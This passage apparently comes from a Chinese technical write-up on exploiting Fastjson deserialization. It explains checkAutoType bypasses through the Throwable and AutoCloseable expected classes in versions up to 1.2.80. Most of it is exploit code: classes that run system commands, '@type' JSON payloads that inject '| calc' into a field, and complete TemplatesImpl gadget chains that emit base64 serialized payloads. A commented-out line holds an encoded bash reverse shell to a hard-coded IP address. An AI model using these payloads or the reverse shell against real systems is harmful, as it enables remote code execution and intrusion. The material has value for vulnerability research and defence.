入参,且我们传入的类名是 expectClass
的子类或实现,并且不在黑名单中,就可以通过 checkAutoType()
的安全检测。
发现同时满足以下条件的时候,可以绕过checkAutoType
:
expectClass
不为null
,且不等于Object.class
、Serializable.class
、Cloneable.class
、Closeable.class
、EventListener.class
、Iterable.class
、Collection.class
;
expectClass
需要在缓存集合TypeUtils#mappings
中;
expectClass
和typeName
都不在黑名单中;
typeName
不是ClassLoader
、DataSource
、RowSet
的子类;
typeName
是expectClass
的子类。
这个expectClass
并不是什么陌生的新名词,我们在前置知识里面的demo
中的这个Person.class
就是期望类:
1 Person person2 = JSON.parseObject(jsonString2, Person.class);
但是之前的那些payload
执行的时候,期望类这里都是null
,那么是哪些地方调用了呢?我们直接全局搜索parser.getConfig().checkAutoType
:
最终找到了这两个类
ThrowableDeserializer#deserialze()
JavaBeanDeserializer#deserialze()
ThrowableDeserializer expectClass入参为Throwable
如果传入的类是Throwable的子类或者实现类,就可以绕过checkAutoType检测,获取class
并且由于是Throwable的子类,在getDeserializer()
获取反序列化器时,也能拿到ThrowableDeserialize反序列化器,最终出发对应的ThrowableDeserializer#deserialze()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import java.io.IOException; public class ExecException extends Exception { private String domain; public ExecException() { super(); } public String getDomain() { return domain; } public void setDomain(String domain) { this.domain = domain; } @Override public String getMessage() { try { Runtime.getRuntime().exec(new String[]{"cmd", "/c", "ping " + domain}); } catch (IOException e) { return e.getMessage(); } return super.getMessage(); } }
1 2 3 4 5 { "@type":"java.lang.Exception", "@type": "payloads.fastjson.ExecException", "domain": "S1nJa.com | calc" }
JavaBeanDeserializer 在getDeserializer()
获取反序列化器时,如果找不到合适的反序列化器,会调用最后的createJavaBeanDeserializer()
,创建JavaBeanDeserializer进行反序列化
在TypeUtils#addBaseClassMappings(),发现白名单中有个AutoCloseable,经调试他会获取JavaBeanDeserializer反序列化器
而他的expectClass是可控的,就是在经过的ParserConfig#checkAutoType后得到的clazz值,而如果我们传入
1 2 3 4 5 { "@type":"java.lang.AutoCloseable", "@type": "payloads.fastjson.ExecCloseable", "domain": "S1nJa.com | calc" }
得到的expectClass就是java.lang.AutoCloseable
所以就可以构造,实现java.lang.AutoCloseable接口的子类可以绕过autotype反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import java.io.Closeable; import java.io.IOException; public class ExecCloseable implements Closeable { private String domain; public ExecCloseable() { } public ExecCloseable(String domain) { this.domain = domain; } public String getDomain() { try { Runtime.getRuntime().exec(new String[]{"cmd", "/c", "ping " + domain}); } catch (IOException e) { e.printStackTrace(); } return domain; } public void setDomain(String domain) { this.domain = domain; } @Override public void close() throws IOException { } }
1 2 3 4 5 { "@type":"java.lang.AutoCloseable", "@type": "payloads.fastjson.ExecCloseable", "domain": "S1nJa.com | calc" }
fastjson1.2.80fastjson反序列化注入 影响版本:fastjson <= 1.2.80
autotype:均可
1.2.69开始,将AutoCloseable以hash的形式又又又又加入了黑名单,如果使用AutoCloseable,expectClassFlag的值会变为false,若此时默认关闭autotype功能则无法加载继承AutoCloseable的恶意类,这条路便无法走通了
但这次黑名单中并没有将Throwable加入黑名单,所以expectClass入参为Throwable的方式仍然可用,除此外更具突破性的应该是师傅们挖掘的对于特殊依赖的利用链
之前1.2.68使用JavaBeanDeserializer序列化器,1.2.80使用ThrowableDeserializer反序列化器,前者是默认反序列化器,后者是针对异常类对象的反序列化器。实际上很少有异常类会使用到高危函数,所以目前还没见有公开的可针对Throwable这个利用点的RCE gadget。
Java版本的影响 原生反序列化 fj1<=1.2.48 & fj2<2.0.26(目前) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import javax.management.BadAttributeValueExpException; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.alibaba.fastjson.JSONArray; public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class ct = templates.getClass(); byte[] code = Files.readAllBytes(Paths.get("E:\\漏洞复现\\fjyuansheng\\target\\classes\\Calc.class")); byte[][] bytes = {code}; Field ctDeclaredField = ct.getDeclaredField("_bytecodes"); ctDeclaredField.setAccessible(true); ctDeclaredField.set(templates,bytes); Field nameField = ct.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Chu0"); Field tfactory = ct.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class c = BadAttributeValueExpException.class; Field val = c.getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException,jsonArray); serialize(badAttributeValueExpException); unserialize("./ser.bin"); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(badAttributeValueExpException); objectOutputStream.close(); byte[] serialize = byteArrayOutputStream.toByteArray(); System.out.println(Base64.getEncoder().encodeToString(serialize)); } public static void serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin")); objectOutputStream.writeObject(obj); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); Object object = objectInputStream.readObject(); return object; } }
fj>1.2.48 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 package org.example; import com.alibaba.fastjson.JSONArray; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; public class TestPayload { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static byte[] genPayload(String cmd) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49); return clazz.toBytecode(); } public static void main(String[] args) throws Exception { // TemplatesImpl templates = TemplatesImpl.class.newInstance(); // setValue(templates, "_bytecodes", new byte[][]{genPayload("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDEuMTcuMTgzLzI1MCAwPiYx}|{base64,-d}|{bash,-i}")}); // setValue(templates, "_name", "qiu"); // setValue(templates, "_tfactory", null); TemplatesImpl templates = new TemplatesImpl(); Class ct = templates.getClass(); byte[] code = Files.readAllBytes(Paths.get("E:\\漏洞复现\\fjyuansheng\\target\\classes\\shell.class")); byte[][] bytes = {code}; Field ctDeclaredField = ct.getDeclaredField("_bytecodes"); ctDeclaredField.setAccessible(true); ctDeclaredField.set(templates,bytes); Field nameField = ct.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Chu0"); Field tfactory = ct.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setValue(bd, "val", jsonArray); HashMap hashMap = new HashMap(); hashMap.put(templates, bd); serialize(hashMap); unserialize("./ser.bin"); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashMap); objectOutputStream.close(); byte[] serialize = byteArrayOutputStream.toByteArray(); System.out.println(Base64.getEncoder().encodeToString(serialize)); // ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); // objectInputStream.readObject(); } public static void serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin")); objectOutputStream.writeObject(obj); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); Object object = objectInputStream.readObject(); return object; } }